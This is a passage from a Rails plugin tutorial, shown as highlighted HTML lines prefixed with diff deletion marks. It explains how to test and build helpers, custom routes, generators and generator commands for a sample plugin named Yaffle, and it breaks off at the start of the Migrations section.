-<span style="font-weight: bold"><span style="color: #0000FF">include</span></span> WoodpeckersHelper
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckersHelperTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_tweet
- assert_equal <span style="color: #FF0000">"Tweet! Hello"</span><span style="color: #990000">,</span> tweet<span style="color: #990000">(</span><span style="color: #FF0000">"Hello"</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This is just a simple test to make sure the helper is being loaded correctly. After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">%</span>w<span style="color: #FF0000">{</span> models controllers helpers <span style="color: #FF0000">}</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>dir<span style="color: #990000">|</span>
- path <span style="color: #990000">=</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'app'</span><span style="color: #990000">,</span> dir<span style="color: #990000">)</span>
- <span style="color: #009900">$LOAD_PATH</span> <span style="color: #990000">&lt;&lt;</span> path
- ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_paths <span style="color: #990000">&lt;&lt;</span> path
- ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_once_paths<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>path<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> WoodpeckersHelper
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> tweet<span style="color: #990000">(</span>text<span style="color: #990000">)</span>
- <span style="color: #FF0000">"Tweet! #{text}"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Now your test should be passing, and you should be able to use the Woodpeckers helper in your app.</p></div>
-</div>
-<h2 id="_routes">8. Routes</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>In a standard <em>routes.rb</em> file you use routes like <em>map.connect</em> or <em>map.resources</em>. You can add your own custom routes from a plugin. This section will describe how to add a custom method called that can be called with <em>map.yaffles</em>.</p></div>
-<div class="paragraph"><p>Testing routes from plugins is slightly different from testing routes in a standard rails app. To begin, add a test like this:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/routing_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"#{File.dirname(__FILE__)}/test_helper"</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> RoutingTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
- ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>draw <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>map<span style="color: #990000">|</span>
- map<span style="color: #990000">.</span>yaffles
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_yaffles_route
- assert_recognition <span style="color: #990000">:</span>get<span style="color: #990000">,</span> <span style="color: #FF0000">"/yaffles"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"yaffles_controller"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- private
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> assert_recognition<span style="color: #990000">(</span>method<span style="color: #990000">,</span> path<span style="color: #990000">,</span> options<span style="color: #990000">)</span>
- result <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>recognize_path<span style="color: #990000">(</span>path<span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> method<span style="color: #990000">)</span>
- assert_equal options<span style="color: #990000">,</span> result
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Once you see the tests fail by running <em>rake</em>, you can make them pass with:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/routing"</span></tt></pre></div></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle/routing.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Routing <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MapperExtensions
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffles
- <span style="color: #009900">@set</span><span style="color: #990000">.</span>add_route<span style="color: #990000">(</span><span style="color: #FF0000">"/yaffles"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"yaffles_controller"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>RouteSet<span style="color: #990000">::</span>Mapper<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>MapperExtensions</tt></pre></div></div>
-<div class="paragraph"><p><strong>config/routes.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>draw <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>map<span style="color: #990000">|</span>
- map<span style="color: #990000">.</span>yaffles
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You can also see if your routes work by running <tt>rake routes</tt> from your app directory.</p></div>
-</div>
-<h2 id="_generators">9. Generators</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Many plugins ship with generators. When you created the plugin above, you specified the --with-generator option, so you already have the generator stubs in <em>vendor/plugins/yaffle/generators/yaffle</em>.</p></div>
-<div class="paragraph"><p>Building generators is a complex topic unto itself and this section will cover one small aspect of generators: generating a simple text file.</p></div>
-<h3 id="_testing_generators">9.1. Testing generators</h3>
-<div class="paragraph"><p>Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Creates a new fake rails root directory that will serve as destination
-</p>
-</li>
-<li>
-<p>
-Runs the generator
-</p>
-</li>
-<li>
-<p>
-Asserts that the correct files were generated
-</p>
-</li>
-<li>
-<p>
-Removes the fake rails root
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>This section will describe how to create a simple generator that adds a file. For the generator in this section, the test could look something like this:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/definition_generator_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator/scripts/generate'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> DefinitionGeneratorTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
- FileUtils<span style="color: #990000">.</span>mkdir_p<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">)</span>
- <span style="color: #009900">@original_files</span> <span style="color: #990000">=</span> file_list
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> teardown
- FileUtils<span style="color: #990000">.</span>rm_r<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_generates_correct_file_name
- Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Scripts<span style="color: #990000">::</span>Generate<span style="color: #990000">.</span>new<span style="color: #990000">.</span>run<span style="color: #990000">([</span><span style="color: #FF0000">"yaffle_definition"</span><span style="color: #990000">],</span> <span style="color: #990000">:</span>destination <span style="color: #990000">=&gt;</span> fake_rails_root<span style="color: #990000">)</span>
- new_file <span style="color: #990000">=</span> <span style="color: #990000">(</span>file_list <span style="color: #990000">-</span> <span style="color: #009900">@original_files</span><span style="color: #990000">).</span>first
- assert_equal <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">,</span> File<span style="color: #990000">.</span>basename<span style="color: #990000">(</span>new_file<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- private
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> fake_rails_root
- File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'rails_root'</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> file_list
- Dir<span style="color: #990000">.</span>glob<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">,</span> <span style="color: #FF0000">"*"</span><span style="color: #990000">))</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You can run <em>rake</em> from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.</p></div>
-<div class="paragraph"><p>To make it pass, create the generator:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/generators/yaffle_definition/yaffle_definition_generator.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> YaffleDefinitionGenerator <span style="color: #990000">&lt;</span> Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Base
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> manifest
- record <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>m<span style="color: #990000">|</span>
- m<span style="color: #990000">.</span>file <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_the_usage_file">9.2. The USAGE file</h3>
-<div class="paragraph"><p>If you plan to distribute your plugin, developers will expect at least a minimum of documentation. You can add simple documentation to the generator by updating the USAGE file.</p></div>
-<div class="paragraph"><p>Rails ships with several built-in generators. You can see all of the generators available to you by typing the following at the command line:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>./script/generate</tt></pre>
-</div></div>
-<div class="paragraph"><p>You should see something like this:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>Installed Generators
- Plugins (vendor/plugins): yaffle_definition
- Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration</tt></pre>
-</div></div>
-<div class="paragraph"><p>When you run <tt>script/generate yaffle_definition -h</tt> you should see the contents of your <em>vendor/plugins/yaffle/generators/yaffle_definition/USAGE</em>.</p></div>
-<div class="paragraph"><p>For this plugin, update the USAGE file could look like this:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>Description:
- Adds a file with the definition of a Yaffle to the app's main directory</tt></pre>
-</div></div>
-</div>
-<h2 id="_generator_commands">10. Generator Commands</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>You may have noticed above that you can used one of the built-in rails migration commands <tt>migration_template</tt>. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.</p></div>
-<div class="paragraph"><p>This section describes how you you can create your own commands to add and remove a line of text from <em>config/routes.rb</em>.</p></div>
-<div class="paragraph"><p>To start, add the following test method:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/route_generator_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator/scripts/generate'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator/scripts/destroy'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> RouteGeneratorTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
- FileUtils<span style="color: #990000">.</span>mkdir_p<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">,</span> <span style="color: #FF0000">"config"</span><span style="color: #990000">))</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> teardown
- FileUtils<span style="color: #990000">.</span>rm_r<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_generates_route
- content <span style="color: #990000">=</span> <span style="color: #990000">&lt;&lt;-</span><span style="font-weight: bold"><span style="color: #0000FF">END</span></span>
- ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>draw <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>map<span style="color: #990000">|</span>
- map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
- map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">END</span></span>
- File<span style="color: #990000">.</span>open<span style="color: #990000">(</span>routes_path<span style="color: #990000">,</span> <span style="color: #FF0000">'wb'</span><span style="color: #990000">)</span> <span style="color: #FF0000">{</span><span style="color: #990000">|</span>f<span style="color: #990000">|</span> f<span style="color: #990000">.</span>write<span style="color: #990000">(</span>content<span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
-
- Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Scripts<span style="color: #990000">::</span>Generate<span style="color: #990000">.</span>new<span style="color: #990000">.</span>run<span style="color: #990000">([</span><span style="color: #FF0000">"yaffle_route"</span><span style="color: #990000">],</span> <span style="color: #990000">:</span>destination <span style="color: #990000">=&gt;</span> fake_rails_root<span style="color: #990000">)</span>
- assert_match <span style="color: #FF6600">/map\.yaffles/</span><span style="color: #990000">,</span> File<span style="color: #990000">.</span>read<span style="color: #990000">(</span>routes_path<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_destroys_route
- content <span style="color: #990000">=</span> <span style="color: #990000">&lt;&lt;-</span><span style="font-weight: bold"><span style="color: #0000FF">END</span></span>
- ActionController<span style="color: #990000">::</span>Routing<span style="color: #990000">::</span>Routes<span style="color: #990000">.</span>draw <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>map<span style="color: #990000">|</span>
- map<span style="color: #990000">.</span>yaffles
- map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
- map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">END</span></span>
- File<span style="color: #990000">.</span>open<span style="color: #990000">(</span>routes_path<span style="color: #990000">,</span> <span style="color: #FF0000">'wb'</span><span style="color: #990000">)</span> <span style="color: #FF0000">{</span><span style="color: #990000">|</span>f<span style="color: #990000">|</span> f<span style="color: #990000">.</span>write<span style="color: #990000">(</span>content<span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
-
- Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Scripts<span style="color: #990000">::</span>Destroy<span style="color: #990000">.</span>new<span style="color: #990000">.</span>run<span style="color: #990000">([</span><span style="color: #FF0000">"yaffle_route"</span><span style="color: #990000">],</span> <span style="color: #990000">:</span>destination <span style="color: #990000">=&gt;</span> fake_rails_root<span style="color: #990000">)</span>
- assert_no_match <span style="color: #FF6600">/map\.yaffles/</span><span style="color: #990000">,</span> File<span style="color: #990000">.</span>read<span style="color: #990000">(</span>routes_path<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- private
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> fake_rails_root
- File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">"rails_root"</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> routes_path
- File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">,</span> <span style="color: #FF0000">"config"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"routes.rb"</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Run <tt>rake</tt> to watch the test fail, then make the test pass add the following:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/commands"</span></tt></pre></div></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle/commands.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator/commands'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Generator <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Commands <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Create
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_route
- logger<span style="color: #990000">.</span>route <span style="color: #FF0000">"map.yaffle"</span>
- look_for <span style="color: #990000">=</span> <span style="color: #FF0000">'ActionController::Routing::Routes.draw do |map|'</span>
- <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> options<span style="color: #990000">[:</span>pretend<span style="color: #990000">]</span>
- gsub_file<span style="color: #990000">(</span><span style="color: #FF0000">'config/routes.rb'</span><span style="color: #990000">,</span> <span style="color: #FF6600">/(#{Regexp.escape(look_for)})/</span>mi<span style="color: #990000">)</span><span style="color: #FF0000">{</span><span style="color: #990000">|</span>match<span style="color: #990000">|</span> <span style="color: #FF0000">"#{match}\n map.yaffles\n"</span><span style="color: #FF0000">}</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Destroy
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_route
- logger<span style="color: #990000">.</span>route <span style="color: #FF0000">"map.yaffle"</span>
- gsub_file <span style="color: #FF0000">'config/routes.rb'</span><span style="color: #990000">,</span> <span style="color: #FF6600">/\n.+?map\.yaffles/</span>mi<span style="color: #990000">,</span> <span style="color: #FF0000">''</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> List
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_route
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Update
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_route
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Create<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Create
-Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Destroy<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Destroy
-Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>List<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>List
-Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Update<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Update</tt></pre></div></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/generators/yaffle/yaffle_route_generator.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> YaffleRouteGenerator <span style="color: #990000">&lt;</span> Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Base
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> manifest
- record <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>m<span style="color: #990000">|</span>
- m<span style="color: #990000">.</span>yaffle_route
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>To see this work, type:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>./script/generate yaffle_route
-./script/destroy yaffle_route</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">
-<div class="title">Editor&#8217;s note:</div>If you haven&#8217;t set up the custom route from above, <em>script/destroy</em> will fail and you&#8217;ll have to remove it manually.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_migrations">11. Migrations</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>If your plugin requires changes to the app&#8217;s database you will likely want to somehow add migrations. Rails does not include any built-in support for calling migrations from plugins, but you can still make it easy for developers to call migrations from plugins.</p></div>
-<div class="paragraph"><p>If you have a very simple needs, like creating a table that will always have the same name and columns, then you can use a more simple solution, like creating a custom rake task or method. If your migration needs user input to supply table names or other options, you probably want to opt for generating a migration.</p></div>
-<div class="paragraph"><p>Let&#8217;s say you have the following migration in your plugin:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateBirdhouses <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
